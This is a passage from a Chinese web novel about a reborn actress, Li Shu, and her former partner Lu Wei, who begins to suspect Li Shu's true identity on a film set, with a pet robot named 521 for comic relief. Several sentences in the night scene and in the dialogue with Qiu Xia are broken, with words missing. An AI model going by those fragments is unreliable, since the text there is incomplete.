借着屋里的壁灯看清了来人的模样,同时伸手抱住了发现它醒过来,正奋力挣扎的元宝。 “陆总?” 黎数已经彻底醒了,手已经自发的把元宝翻过来呼噜呼噜肚子毛,元宝的炸毛被渐渐抚平,开始往黎数腋下钻,像是试图放个屁把打不过的敌人蹦死。 陆嵬见她已经醒了,干脆把房间的灯按亮了。 短暂的刺眼过后,黎数眼前恢复了光明,她顿了顿,又问了句,“你怎么在我房里?” 酒店并不是什么高档酒店,黎数住的楼层也在中间段,平时下楼的时候要和不少剧组工作人员一起挤电梯。 vip电梯是只有高层的住户才拥有的权限。 陆嵬应该住在那里的。 房里没沙发,黎数分到的是个双人间,本来另外的那张床上住的应该是春风,现在本应该在睡着的春风却不知所踪,就连行李也不见了。 陆嵬抱着胳膊,始终坐在另一张床上一言不发。 她就这么看着黎数把枕头让给元宝,又把被子也让给它,还给它盖好被子,边边角角都掖好。 陆嵬这才启唇说道:“我让她去我那间住了。” 黎数愣了片刻,很快的点头,慢半拍的‘哦’了声,说:“好,懂了。” 差点忘了,在紫檀她俩对外就已经是‘同居’的关系了,那没道理在剧组这么私密的地方反而分开睡。 左右房间里有两张床,陆嵬也不经常在剧组留宿,倒也不耽误什么。 再说了。 黎数抱着被子,莫名的想,反正什么该看的不该看的早看了个一干二净,这又不是情侣酒店,卫生间也不是透明玻璃,有什么好害臊的。 黎数正要躺下继续睡,目光不由自主就望向了电视。 睡前听听动物频道几乎是她养成了多年的习惯了。 无意识,也改不了。 两年间,电视都已经变成了黎数很陌生的模样,研究了一会才将简单的操作功能掌握流利。 昨天晚上和黎余简单的聊了几句以后,黎数就回了房间。 黎余比她要小很多,但具体小了多少,黎数也记不清了,因为黎余出生的时候她还在读书。 有一天回到家里以后,就已经看到了黎余,那时候她已经会走路了。 那时候的黎余把她当做了敌人,站在空无一人的客厅里面往她身上丢玩具,砸的很痛,她也知道她的母亲正在厨房做饭,但她没出来。 黎数收拾了本来就为数不多的行李,那以后就再也没回过家。 黎余比她和姐姐要幸运,对于黎余而言,家庭和睦,父母宠爱,经济稳定,她从小就过得很幸福。 所以顺风顺水久了,脑子也不怎么好。 想起昨晚上几句话就打探出来的东西,黎数垂下眼睛,有点烦躁起来。 催眠音进耳以后也变成了‘嗡嗡’的白噪音,身边睡着的小猫咪身上传来了一阵阵的香气。 黎数关上了电视,也没管旁边一直没什么声音的陆嵬,缩进了被子里面,把元宝暖呼呼的小身体抱着,头埋在了它小小的身体里面。 旁边一直默不作声的陆嵬关了的电视。 本黑暗里,带着股惊心的深沉。 她的手兀自的在颤抖,眼前阵阵伏的增长又消退,她想从口袋里掏出烟盒,但又像是意识到了什么,即。 半晌,陆嵬得轻浅、平稳的呼吸声,和睡得热了的,钻出被窝,枕到了刻。 就在元宝开始弓起脊背,做出攻击形态之前,陆嵬动作极轻的出了门。 元宝又盯着大门的方向看了一会,在重新钻回了黎数颈窝 走廊的灯光长明,空无一人。 导演组那里有所有房间的备份门卡,统一交给制片主任管理,制片主任是范从荣。 她从范从荣那拿的房卡一共两张,一个是黎数的,另外一个,是黎余的。 下行的一路极静。 烟草在她的指尖点燃,特制的药草抚平了些许她躁抑的情绪,也让大脑已经开始不受控制的偏执的野兽暂时收起了獠牙,转而回到了牢笼中。 到了黎余的门前,陆嵬看了眼手上的房卡,目光沉沉,始终没打开眼前的房门。 她退后两步,走到了走廊休息的沙发上,但没找到黎余的联系方式。 她皱了皱眉,打了521的电话。 521愤怒的接通电话:“干什么干什么干什么,我睡的正香呢!” 陆嵬说:“把黎余的电话给我。” 521依然愤怒:“凭什么凭什么凭什么,你带元宝去找小黎了都不带我还骂我是个离不开电的废铁,我就不我就不我就不!我明明能太阳能充电!你才是废人你才是废人我是好铁!我是小黎的好铁子!” 陆嵬道:“明天让张姐带你过来。电话给我。” 521瞬间变脸,笑嘻嘻的说:“亲爱的陆嵬女士,联系方式已经发至您的手机,请您注意查收喔。” 陆嵬挂断电话,然后走到了僻静处,拨通了黎余的手机。 铃声意外的在电梯处响了起来。 陆嵬将手机拿开,垂眸看了眼时间,凌晨三点四十。 她把黎余带到了走廊尽头的阳台上。 四月底,晚上很凉,酒店楼下停了大片的车。 酒店因为拍戏的原因,已经被封锁全包,没有外来人员的车辆来往,为了方便,基本上车都停在了一楼,方便进出。 陆嵬一直一言不发,只沉默的点了一根又一根烟。 黎余看着她手上的烟,其实想的是姐姐还在世的那几年。 陆嵬并不喜欢烟味,甚至可以说是厌恶。 她看到过黎数点烟的时候,陆嵬皱起眉毛的样子,但陆嵬从没说过什么,只是很明显呼吸会放缓很多。 后来她就发现,她姐姐的烟瘾也戒掉了。 但现在,反而不知道什么时候开始,轮到陆嵬一根一根的抽烟了。 烟味和她平时闻到的二手烟的味道也不一样,好像多了一些草药的味道。 近两年她经常和中药打交道,不管闻到什么都感觉是中药味,一时间又觉得自己是闻错了。 黎余有点忐忑,不知道陆嵬这个点过来找她是有什么事情:“陆总,你找我是有事吗?是不是角色有什么问题?” 她舔了舔嘴唇,双手攥着身上的衣服,显得非常的局促:“有什么问题你跟我说,我知道我演技不行,我能改……” “不是角色。”陆嵬打断了她,将烟摁灭,说道:“有事儿要问你。” “昨天晚上,你是和小黎一起回的酒店。”陆嵬斜靠在阳台扶手上,不着痕迹的看着黎余,说:“你和她认识?” 昨天一整天的热搜、词条,发酵是必然的。 黎余捏紧了手,低声说:“是我经纪人让我和她搞好关系的,林姐说她是你们现在要捧的对象,能和她扯上但凡一丁点的关系,我后面的工作开展就会顺利很多。” “你,主动去找她的?” 陆嵬没管她的原因和苦衷,也不理会目的,只问了她想知道的。 这和黎余一开始预想中的问答不太一样,她噎了一下,本来以为能顺着这条线能让陆嵬多给点工作,但又觉得自己这样太悲哀,要靠已经死去的姐姐装可怜。 可甚至她已经在这么做了。 她真的泄了气,摇了摇头说:“没有,是她主动来找我的。” “昨天其实剧组想上去和她认识、搭话的人很多,不少群演和叫得出名字的小配角都想趁着东风去和她说两句话,但后来裘总过来了,和小黎身边的助理像是两个门神似的堵在她身边儿……” 黎余顿了顿,小声咕哝:“春风就算了,主要是裘总不知道为什么也在片场呆了一天。” “她和你都说了什么?”陆嵬又问。 堆积的情绪再一次被陆嵬无情打断,黎余哽了下,回忆了会才说道:“好像也没说什么,她就是说那次偶尔在寰宇看到过我,说看见我哭了,想问问我是不是家里出什么事儿了。” “她人真好啊。”黎余叹了口气,说道:“明明比我还小,但是说的话像是个知心大姐姐一样,后来还借了我五万块钱,说和我也算是有缘分,说她也是走运,借着我姐的东风才有的现在的热度,得知恩图报,还说以后缺钱的话可以尽管去找她……” 末了,黎余又重复说:“她人真好啊。” 陆嵬这次没再打断黎余的话。 黎余说着说着,又详细回忆了一下,说道:“她说开机仪式上她就当众说过要感谢我姐,没有我姐就没有今天的她,也不会这么顺利从出道开始就有这么大的热度,总不能知道我家里有事却不管不顾,以后传出去了也不好听,让我千万不要有什么心理负担。” 黎余这会想了想,又说:“小黎这么说,也有可能是未来有一天有了黑料,可能需要我站出来说话,但是无所谓,起码她这会的真心不是假的。给我的钱也都是实打实的。” 黎余长叹一声。 陆嵬忽然抬起眼,说:“你说你家里出了什么事?” 黎余一滞。 半晌,她的手指在阳台上扣了扣,说道:“我妈得了子宫癌,中期。” 陆嵬‘嗯’了声,但她也没有提要给黎余钱,又或者说给她工作的事情,而是说道:“你经纪人在业内的业务算不错,只是你不适合拍戏,也不适合真人秀。改天你找她谈谈,让她带你上个恋综。” 黎余怀疑自己听错了,“什么?恋综?” “当观察室嘉宾。”陆嵬忽然唇角扯出一抹笑来,笑意有点凉:“你姐姐也曾经说过,你的嘴,确实要厉害一点,不愧是语言文学专业毕业的高材生。” 黎余张张嘴。 一直到陆嵬的背影消失在走廊,她才抠抠脸。 听着不像夸呢怎么。 第36章 第三十六章【VIP】 回到房间后,陆嵬身上已经没了烟草味。 她抽的烟不是烟草,是吸入式的中药,对情绪有舒缓和镇定的作用,且不易成瘾,对身体的副作用也低,只是效果一般,聊胜于无,更像是个安抚剂。 酒店四处铺着厚厚的地毯,刻意放轻脚步后一丝声音都没有,只在衣料摩擦间有极轻的窸窣声,引得床上的黑煤球暂时呼噜暂停,警觉回头望了一眼。 陆嵬也分不清楚那到底是它的头还是屁股。 她站在床边立了许久,适应了屋内的光线后,缓缓蹲下|身。 躺在床上的少女面容极美,短短两个月之间,她似乎就出现了同龄人起码要两年以上的蜕变,像是五官全部长开了,也显露出了从前在资料里每每提及的‘懦弱、内向、不会说话’的那个女孩儿不曾拥有过的一面。 事实上从第一次初见开始,她就觉得这个女孩似乎不太对劲。 但可能吗? 那样大规模的自然灾害下,整座城市都变为了废墟,六陇市的经济直线倒退三十年,当地官员一开始小觑了这次灾害的严重程度,地方刻意瞒报了死亡人数和受灾程度,以试图压下灾害背后,属于人为的滔天恶果。 黎数当时所在的剧组,整座山都成为了一个天坑裂谷,地形勘探仪器侦测到了数百米深度,早就已经没了任何生命信息。 在生命值归零的情况下,政|府直接放弃了搜救,转而将更多的人力物力投入到了还有生命迹象的区域内。 陆嵬第一次真真正正的体会到了什么叫做人力所不能及。 “你真的……”陆嵬嘴唇极轻的动了动,在心里默问:“还活着吗?” 黑猫悄无声息的横亘在了陆嵬眼前,瘦小的身躯将黎数的头结结实实的挡在了后面,目光不算太凶,但脊背是弓起的。 陆嵬无声的讽笑一声:“你也恨我。” 黑猫脊背上的毛根根竖起,瞳孔缩成米粒大小,受到威胁一般伏低了身子,喉咙间是滚滚压抑的低吠。 陆嵬站了起来。 手臂撑着无力的身体,她打开了阳台的门,就这么一根根的抽烟,直到外面从寂静开始传来嘈杂的人声,天亮了。 她一夜没睡,肉眼看得出的疲惫,但像是已经习惯了这样的状态,到了最后,烟抽完了,她也没再回卧室拿新的,就这样望着远处的高山出神- 也不知道猫到底是怎么这么不怕热的。 黎数睁开眼,脖子上出了一层细密的汗,元宝肚子上的毛都变得湿润潮热,但它就是不起来。 她的手机在床头放着,陆嵬给的新款手机几乎不怎么耗电,一晚上过去,电量一格都没有少,还维持在息屏前的百分之八十三。 手机刚好响着,黎数接通,顺手把睡成毛巾的猫捞起来,给它摊平晾肚子上的毛,一边忍不住碎碎念。 “我现在算是知道你以前的猫藓到底是怎么来的了,我身上没皮大衣都热成这样了,你倒好,都蒸透了也不起来。” 猫子自顾自睡的香甜,黎数捏完它软乎乎的爪垫去捏它毛茸茸的耳朵,给元宝伺候的呼噜噜一直响。 那边是春风的声音,“小黎姐,你醒啦,要吃什么早餐吗,酒店提供的不少呢,我给你带啊,菜单刚刚发给你了,你看看!” 黎数应了声,先看了看旁边的床。 床很干净,被子也看不出被睡过的痕迹。 陆嵬昨晚没在房间睡? 黎数就没了让春风给她设带一份的心思。把自己想吃的简单发给春风以后,又让春风帮她点一杯无奶无糖的加浓美式。 春风发了个剪刀手表情包。 挂断电话,床上的猫也晾干了。黎数摁了摁眉心,有点疲惫的下床去洗漱。 她睡眠质量一向不错,但重生以来不知道为什么经常会半夜惊醒,之后要很久才能继续睡着。 但凡尝试过半夜醒过,第二天还要上班、上学的人都会崩溃,黎数撑着洗手台,半天才打开了热水冲澡。 她出来的时候,春风刚好进来。 黎数身上还裹着浴巾,浑身湿漉漉的都是水汽,浴室没来得及收拾,先给春风把门打开了。 春风手上是满满当当的早饭,一进来就很热情的说:“姐,我帮你吹头发啊,你先吃饭,我刚刚来的时候好像看见张姨了,她身边有一个好大的快递,看样子像是个智能冰箱。” 黎数没拒绝春风的好意。 她从前没有固定助理,倒是,但助理这行没什么门槛,又大部分都是小女孩,年纪到了以后,空间,大多都会离开这个行业,所以干的时间也都不久。 裘夏虽说春风是临时找来的,但她照顾人的时候,甚专业助理都要周到。 黎数打开了豆浆先喝了一口润喉,外露的皮肤上还有不少水珠,春风一脸认真的用包头的毛巾给她沾干净,左右看了看,又在床头拉出了吹风机给她吹头发。 黎数的头发已经剪得很短,春风甚至还记得刘海得单独吹,低头给黎数吹刘海的时候,春风忽然狐疑的‘咦’了一声。 然后春风上手抠抠,发现没抠掉,不是拍戏沾到的脏东西。 “小黎姐,啊,以前没发现呢。” 黎数一怔。 床边没镜子,她刚要往阳台那边的梳妆台走,冷不丁了个人。 陆嵬是背对着她们的,黎数看过去的时候她正在打电话,阳台没关紧,露着个半人能侧着身体出入的缝隙,也就二三十公分。 陆嵬转过头的一瞬间,春风正埋在黎数胸口在那抠。 春风背对着阳台浑然不觉,一个劲儿稀罕的说:“哇,小黎姐,按我们老家那说法,你这胸前有大痣,证明你要发财啊!那是咋说的来着呢,证明你魄力很强,遇事决断不拖泥带水……” 陆嵬一直没出声,直到挂断前才说了句,“知道了,带它上来吧。” 春风知道不是脏东西以后就没再抠了,回头看见陆嵬站在阳台上,眨眨眼,喊了声:“陆总早啊!” 黎数慢吞吞的坐下。 头发已经吹干了,身上这会也干的差不多。 元宝从床上跳到了膝盖上,去啃黎数啃过一边的玉米,两只爪子抱着黎数的胳膊,只头往玉米的方向努力伸直。 黎数动作停顿了片刻。 陆嵬干脆拉开了房门。 她先是和春风说了句‘早’,其后看了眼吃的已经两眼发直的元宝。 忽然她说:“你怎么知道元宝之前得过猫藓还一直不好的?” 黎数慢吞吞的咀嚼着口中的玉米,嘴里说的是万能公式:“我老家就很潮湿,以前养过猫,得过猫藓,难好,刚刚元宝肚子都被我的汗弄湿了它也不挪窝,时间久了,光那一片潮湿,肯定早晚也会得猫藓。” 陆嵬意味不明的说:“是吗。” 黎数平静的将玉米咽下,“还有我之前也看过那个黎数的访谈,她之前也说过,宠物店大多都不负责,不建议家里的宠物带出去洗,容易出意外,她家的猫就因为这个得了猫藓,说的应该就是元宝吧?” 陆嵬这次没再说话。 因为黎数以前说的话那么多,她也不可能每一字每一句都记得那么清楚。 但元宝得猫藓的那一次,她记得很清楚。 过了会,陆嵬说:“的确,她以前是和我说过一样的话。” 春风左右看看,忽然感觉气氛莫名其妙有点压抑,她都不怎么敢大声说话了。 门被从外面很规律的敲响的时候,春风几乎听到了救星似的冲到了门边。 她没忘记黎数还没换衣服,所以门只开了一条很小的缝隙,往外一看,没人。 她回过头,刚想把门关上,就听下方有一个奶声奶气的电子音在说:“开门呀,开门呀,开门呀,你门都开开了让我进去呀,你在看哪里呢,我没有那么高,我只有92.7cm,陆嵬说我是个矮子,你往下看呀,你让我进去呀。” 说到后面小机器人逐渐开始暴躁,又伸出自己的手很规律的敲了敲门。 陆嵬目光还是看着黎数的,话却是朝着春风说的:“让它进来。” 春风这辈子还没见过活的机器人,眼睛都直了,弓着身体跟在机器人后面走,看哪都稀罕的要命。 尤其是看到机器人一头靓丽的粉色长发时,顿觉这小机器人跟活的似的,好像下一秒要说人话了。 不对,它本来就能说话。 521一进房间就直直的奔着黎数的方向滑过去了。 酒店的地面都铺着厚厚的地毯,它的轮子在这里只有很轻的运作的声音,但抵不住它快乐的大嗓门:“小黎小黎小黎小黎——我终于见到你啦!” 暖呼呼的小机器人贴到黎数身边,收起腿后个子更低了,还没黎数小腿高。 521屏幕的电子眼变成了弯月,一边激动的打开了摄像头,悄咪咪的拍了照。 拍摄于2029年4月23日,521与刚出浴的美丽小黎。 照片查验功能入库后便开始自动分析皮肤状态、年龄、情绪占比,521笑着和黎数贴贴,诚实的把所有变化的记录记录在册。 然后它仰起头,用一种很期待的语气笑着说:“小黎,你越来越美丽了,你和我大脑里最美丽的样子越来越接近了,你马上就是天下第一美丽的人了。” 然后它小声嘟嘟:“陆嵬天下第一丑。” 僵直的气氛被521这个没人脑的小东西打断,黎数简直是哭笑不得。 她也懒得去管之前的不对劲了,仰着头问陆嵬,说到:“你把521带来干什么,这里又没有给它充电的地方。” 陆嵬看了眼腻腻歪歪,把屏幕上的假嘴努力撅起来亲黎数腿的机器人,略嫌恶的皱了皱眉,给了它屁股一脚,才说道:“它自己要来的。” 521捂着屁股敢怒不敢言,“我能太阳能充电!” 陆嵬不动声色的说:“你给它做的衣服烂了,它哭了一宿,又说很想你,又哭了一宿,快抑郁了,说再不见到你就要死了。” 521的屏幕出现了一片遇到bug似的空白,脸都没了。 黎数迟疑,“机器人这么先进吗,还能抑郁?” 陆嵬面无表情:“拟人情绪,方便它智能对答。抑郁程度加深了以后,它负责情绪分析的系统就会出现故障。” 黎数惊疑不定的信了。 她垂下头看了看,衣服的下摆确实是被撕烂了一点,不知道是不是521从脚换成滚带的时候挂住了。 她想了想,摸了摸521该抹护发素的头发,说:“待会让吹风帮你洗个头发,我今天空了的时候帮你把这件裙子再改改,好吗?” 521屏幕上顿时开始放烟花,“谢谢你小黎,你简直是天下第二好的人。” 第37章 第三十七章【VIP】 片场,日光悄然的爬上正中,场务和道具开始紧锣密鼓的准备现场。 “还好最近温度不高。”裘夏坐在周遭,手里是一杯热咖啡,手边还端着一份沙拉,“不然你们夏天拍冬天的景可是够呛的。” 陆嵬浅浅应了声:“嗯。” 《国家秘宝》拍摄周期工定了半年时间,对于一个精细电影来说,不算短,但也绝对称不上长。 现在刚刚四月底,和沈凝雪对手戏多的相关的主演已经拍了有一段时间,其余所有人都在等B单元的李梨进组。 这也不常见,全剧组都在等一个配角。 所以,所有人对配角的期待和期望都很高。 傍晚的时候天上飘了点小雨,因为持续时间不长,所以剧组所有工作都正常进行,只是温度降低了不少,很多人来的时候没准备多少衣服,大多被冻得哆哆嗦嗦。 但所有冬季相关的剧情,必须要在五月底温度上升之前全部拍出来,因为置景不可能改,季节一到一切就会显得虚假。 即便是现在拍摄,黎数在拍的时候面前都有两个制冷机器对着她吹,本来体感温度就只有个位数,这样加强的冷风一吹,更显冬天的萧瑟寒冷。所以黎数的场次近期比较多,趁着近几天低温,更是全天都扎在了片场。 521在她和裘夏身边被迫充当了暖手炉,陆嵬更过分,双手双膝搂着、夹着,让它想去黎数那边都不行。 “你放开我呀,你放开我呀。”521气急败坏:“我要去找小黎,我要去找小黎,我不要你。” “她在拍戏。”陆嵬冷冷地说:“要拍的就是冬天的戏份,身上穿的还是棉袄,你过去干什么?让她在冬天满头大汗吗?” 521扯开自己的肚子,露出了里*面分层分别保温和制冷的水,美滋滋的说:“她想要的我都有呀,我还可以给她暖呼呼的爱的抱抱。” 陆嵬取出了里面那杯热牛奶喝了。 521气的尖叫,屏幕被赛博泪水淹了。 陆嵬看了一眼裘夏。 片刻后,她敲了敲机器人的脑袋,轻声说:“521。” 机器人的直觉让521安静下来,但依然苟苟祟祟的从裙子的口袋里面掏出来一片消毒湿巾,把陆嵬刚刚喝过的牛奶瓶口擦拭干净,又重新塞回了肚子里。 然后521才说:“叫我名字干什么呀?” 陆嵬就当做是没看见。 她轻声说:“你还记得你主人的样子吗?” 521眨了眨眼睛。 然后它转过身体,圆圆的眼睛直直的看着陆嵬的脸,很认真的一字一句说:“我记得呀。我的主人叫黎数,是这个世界上最漂亮的人,她喜欢红色,头发长度刚刚及肩,头发浓黑,也是这个世界上最温柔的人。” 陆嵬说:“还有呢?” 521继续说:“身高172cm,体重49kg,o型血,最喜欢元宝……”它偷偷加了一句:“和刚刚出生的我。” “家住在永兴巷32楼7门202,有一个姐姐一个妹妹,生父已逝,母亲再婚后生了一个妹妹,姐姐是退役消防员,妹妹是……” “够了。”陆嵬又敲了敲它的头。 裘夏一直默不作声的在一边站着。 陆嵬放开了521,任由它快乐的飞奔向了黎数的方向。 黎数身边围了很多的人。 自从那天热搜爆炸了以后,到现在已经过了近一周,剧组的人从一开始的窃窃私语,心生不满、阴阳怪气,有的甚至刻意使绊子,到现在真正意义上的心悦诚服。 黎数用自己的演技向所有人证明了一切。 她这会正在给黎余讲戏,但不知道黎余是不是太不开窍,黎数和林辰星几乎已经快把要点撕碎了塞黎余嘴里了,林辰星甚至还自己演示过,连微表情和台词都一句一句给她过了一遍,但黎余还是拍了十几条才刚刚过了费鹤鸣的低标线。 现在一边哭着一边一遍遍的过戏。 某种程度上,黎余的倔强和黎数如出一辙。 但黎余的戏份,在最后成片的时候不一定会留,本来黎余也不是什么重要角色,能有个几秒的露脸都算是费鹤鸣和陆嵬刻意关照的结果。 “你最近有点奇怪。”裘夏忽然说。 陆嵬面不改色:“是吗。” 但裘夏其实也说不上来到底是哪里奇怪。 过了会,她无语纪人,舆论刚发酵,我天天得在这边盯场子就算了,你总过来干什” 陆嵬一言不发。 521,放眼全国也是极其稀有的产物。 比起机器人,倒不如称521是一个拥有高级处理芯片的,集多功能于一身的……随身电器组合。 它拥有的一切功能都可以被其他已有的、价格更低廉的东西替代。 冰箱,风扇,空调,加湿器,随身电脑,网络基站,……只是将这所有后,521的身价就贵了上万倍。 呢? 陆嵬目光沉沉的望向已经被无数双手摸过,整张屏幕都羞红了的521,又望向了乖乖端坐在黎数怀里,一丁点攻击力都没有了的元宝。 是因为黎数需要。 或者说,是她觉得黎数可能需要。 黎数拍戏经常满世界的飞,国家基站至今还没能覆盖全球,一些荒无人烟的林场、戈壁、沙漠,乃至远海,都没有信号能抵达。 黎数曾经在不为人知时和助理被遗忘在山里,因为信号问题联系不上剧组,两个女孩儿担惊受怕一整夜,第二天上午才被剧组发现,联系了当地的消防紧急搜救。 她也曾经忍受着近五十度的高温,在非洲一片荒地上拍摄,中暑、脱皮,可因为当地贫瘠,剧组随行的大夫连一个简单的中暑都没法处理,甚至就连藿香正气水都被当时的女演员拿走了大部分用来冲水喝。 一个小小的中暑而已,黎数差点死在异国他乡。 想要送给黎数这么一台全能的机器人已经很久了。可直到两年前的九月,521才终于研发成功问世。 但那个时候黎数已经失踪了七个月。 生不见人,死不见尸。 一句话问出去久久没有回音,裘夏低头,顺着陆嵬的目光往远处走,就看到了被人群包围着,脸上一直带着很温柔的笑的黎数。 她在那帮小姑娘和工作人群中已经隐隐约约呈现出了主导的地位——这并不源于陆嵬,甚至也并不源于只是一只小黑猫的元宝,而是因为她本身。 不论是她毫不吝啬的分享自己的演技经验,又或是她会愿意配合对手演员不厌其烦的过戏,再或者是她总能用最简短但最高效的话和工作人员沟通,从不浪费彼此时间,又会让人如沐春风受益良多。 从不生气、从不抱怨、从不冷脸,与她合作过的人,从她口中听不到一句坏话。 这样的人,在一个合适的、特定的环境下,是会呈现出这样的一个主导地位的。 但裘夏觉得怪异。 这个情形放在陆嵬、沈凝雪、费鹤鸣、甚至是自己的身上都不违和,可放在黎数身上,就很违和了。 历史上不是没有少年时期就心性成熟,可以在万人之中脱颖而出,不论在哪里,都可以靠着人格魅力站到顶尖的人。 可黎数的履历,不是这样。 裘夏心底的疑惑越来越深。 她‘嘶’了一声,低声说:“你觉不觉得,小黎身上有点古怪?” 陆嵬睫毛一颤,不动声色的说:“哪里古怪?” “哪里都古怪啊!”裘夏皱着脸:“对了,你这段时间不是让我再去给小黎做一个详细的背调吗?我去调查小黎的家庭、背景和求学经历的时候,托了四川那边的老朋友去问过了,人是一个人,可是说的东西对不上号啊!” 一周前,陆嵬突然说黎数的家庭情况不太好,后期可能会出现问题,让裘夏再去做一个详细的背调,同时去把黎数家里的那帮人去给解决一下。 解决不了也没什么,那家人的文化程度也掀不起什么风浪来。 即便去起诉,也没什么。 黎数一开始就说过了,她手上的资料和证据留的够多,即便是不多,也有别的处理方法,原生家庭在农村的女孩,在公众眼中天生处于弱势。 何况是小姑娘连高中都没读完,十六岁被一统签走时,正在前往电子厂打工的路上。 资料在公司,裘夏也懒得翻手机了,她回忆了一下几个感觉不对,但是又一时之间说不上来的点。 “去调查的人走访说,小黎因为家庭条件不好,小学初中都是在镇上读的,小学的时候成绩还行,初中也还可以,但是上了初二以后就不行了,村镇初高中辍学就开始变成混子的男生太多,她又长得漂亮,时常被骚扰,被校园暴力也是常有的事情。” 裘夏皱了皱眉,“但好在她是寄宿生,同寝的女生们还不错,就这样,也勉强上了个三流高中,本来也可以走大专或者职高的路子,但是高二开始就辍学了。” 裘夏说这些话的同时,目光忍不住又望向了已经开始拍摄了的黎数。 她不由得想起在寰宇第一次见到黎数时的模样。 不拘谨、不怯场,看合同时沉着冷静,一些业内可能会有坑的隐藏条款她也问的仔细,哪里该按手印,哪里需要重点讲解…… 她面色古怪的说:“你说,她该不会被人夺舍了吧?” 陆嵬抿抿唇。 往常这个时候,她应该会抄起手边有的东西朝裘夏身上扔。 重的砸地上,轻的像纸巾包似的扔她身上。 她知道夺舍的意思。 黎数从前喜欢看一些这样的小说,边听边看。黎数对耳边能听到声音的执念是从那一晚被困在山上时开始的。 她一开始并不适应,但听多了也不是不能忍受。 还能在听到一些没有感情的亲密戏份的时候和黎数说上一声:“叫的好假。” 一般这个时候,黎数就会笑着把声音关了,用看的。偶尔看的兴致上来了,就会过来亲她。 这样一来,陆嵬就对她喜欢听小说这件事情容忍度变得更高了,有时候甚至会在黎数的书架里面塞点黄的,早上塞几本,中午塞几本,晚上睡前塞几本。 然后在黎数进组前全部删了。 夺舍的意思她之前总听黎数说起过,但是这种人一般都没什么好下场。 现在,陆嵬手上正捏着一团刚刚擦手的湿巾,沉吟了半天,说道:“那还会被人把‘舍’夺回去吗?” “我哪知道。”裘夏白眼一翻:“你脑子被521踢了吧,这世界上哪来的夺舍,我刚刚就是个形容词罢了。” 裘夏说完后忍不住感叹,说出了自己真正的感想:“你说是不是黎数进了一统以后受了什么专业培训,这才能脱胎换骨的?但也不像啊,我调查到她最近的一次直播,还是说话结结巴巴,细声细气的样子,倒是写的一手好字……” 陆嵬眼皮轻轻跳了一下:“你刚说什么?” “我说她写了一手好字。”裘夏说:“确实挺漂亮,之前我还寻思着给她接点类似综艺让她现一手,不过我问过书法大师了,她说黎数的字画虎没画骨,不是正经书法,只是比较符合现在年轻人的审美,字画的漂亮罢了,在真正会书法的人眼里什么也不是。” 陆嵬的指尖快把那团纸搓烂了。 然后她说道:“她的合同,你调出来给我看看。” 裘夏不明所以,但扯到合同的事儿上她也没说什么,黎数的合同是最新签的,在她云盘第一个就是。 有一整个资料夹都是黎数的资料,也包括刚刚懒得去翻看的她小时候的调查的备份材料。 合同最后一页的右下角,黎数的签名出现在陆嵬眼前,丑的无与伦比,丑的清新脱俗,丑的独一无二。 她记起来了。 那天黎数来签合同的时候,用的是左手。 屏幕里一张白纸上娟秀的小字和合同上极丑的‘黎数’两个字形成了鲜明的对比。 那两个字越看越像是别离。 陆嵬极其缓慢的呼出了一口气,缓缓捂住了胸口,几乎要承受不住那汹涌而来的情绪。 她一时间甚至分不清是大悲还是大喜,只剩下难以言喻的闷痛,让她痛苦的弯下了腰,继而蹲在地上。 裘夏脸色蓦的一变,手里的咖啡直直掉了下来,失声说道:“你药呢?怎么回事?陆嵬?陆嵬?” 第38章 第三十八章【VIP】 裘夏是真慌了。 在引起骚动前,陆嵬用极轻的声音艰难说:“别喊。” 她的手颤抖的幅度很不正常,触及到裘夏露在外面的手臂,就连掌心都冷的刺骨。 把上来询问的人打发了,裘夏把陆嵬扶到了不远处的房车上坐下,低声说:“你等会,我去找521给你要一瓶温水。” 转身的时候她忍不住回过头。 陆嵬蜷缩在房车的楼梯上,被她的身影笼罩着的一小片阴影里不断有水滴坠落,分不清到底是飘扬的雨滴还是汗水,又或者是眼泪。 黎数这会有戏,她因为进组比较晚,所以前期这段时间的戏份压得非常紧张,每天工作的时间几乎在14小时以上,但《秘宝》总共拍摄周期半年,黎数只需要跟组两个月。 算起来,已经过了一小半了。 裘夏皱着眉,目光匆匆从不远处正在拍摄海报戏份的黎数身上略过,本来只是随意一眼,可目光在落到黎数追着前面那辆车疯狂奔跑的时候,怎么都挪不开眼了。 她好歹没忘记自己是来干什么的,强行收回视线,走到了正在给一帮小姑娘跳芭蕾的521身边。 521转过头,看见是裘夏,本来呲着大牙傻乐的表情包一下回收,撅起个小嘴儿说:“你好,很不高兴为您服务。” 裘夏这会实在是没什么心情和小机器人开玩笑,敲了敲521的脑袋,才发现它假发没戴,手指居然有点疼。 见鬼了,看习惯521戴假发的样子,头发猛地一消失,居然还真有点不适应。 “给我拿瓶温水。”裘夏说道。 停顿片刻,她牵着521的小手离开了那些小姑娘身边,但没把521带走,太引人注意了。 裘夏蹲下身,对肚子里没有库存,只能现场加热的521说,“你的资料库里面,是不是储存了黎数的所有相关资料?” 521的屏幕上出现了一团小型龙卷风,试图可以靠假嘴吹吹能让火变大,头也不抬的说:“你说的是哪一个黎数呀?我主人的我都有,小黎的不多喔,陆嵬没让我储存。” “你主人的。”裘夏抬眼望向了黎数的方向。 过了片刻,水被加热好,521把手举高高,裘夏接过后却没走,手在521屏幕下方一个寻常人看不到的地方轻轻点了一下。 指纹信息秒过。 一个小盒子从521装饰用的脖子上弹开,弹开的时候,屏幕上甚至还有一个521特制的装饰性粉色蝴蝶结。 裘夏看着里面的注射器,迟疑了片刻,还是取了出来- 拿着温水和手机上面521传来的资料往回走的时候,裘夏回想起刚刚的那一幕还有些心惊。 小黎刚被陆嵬带到她面前的时候,裘夏其实想过诸多情形,可每一个发生的事情,又好像都在意料之外的意料之中。 自从那一夜六陇市特大泥石流灾害出现伊始,陆嵬第一次极大规模的暴露在镜头前,暴露在观众的视野中后,伴随着她家世、取向、和黎数恋情的曝光,这两年来,圈里想走歪路子的数不胜数。 一切起源于陆嵬资助了一个与黎数长相相似的小女孩开始,那女孩儿两年前甚至刚刚六岁,罹患先天性唇腭裂,被父母遗弃在孤儿院里,和黎数只是眉宇间和轮廓有些许相似。 那之后也是裘夏头一次知道,原来这个世界上相似的人居然真的有那么多。 眉眼、嘴唇、发型、妆容……哪怕只是惊鸿一瞥下,就连裘夏都能在许多人的身上看到甚至称不上熟悉的黎数的影子。 那以后,就连她都开始有些厌恶起和黎数相似的人来,甚至杯弓蛇影到看到一个相似的人就下意识的皱眉,认为对方一定是别有居心。 更别提是处于暴风眼中的陆嵬了。 她站在陆嵬面前,晚上了,片场外置的灯光把她的影子照的老长,遮住了陆嵬整个身体。 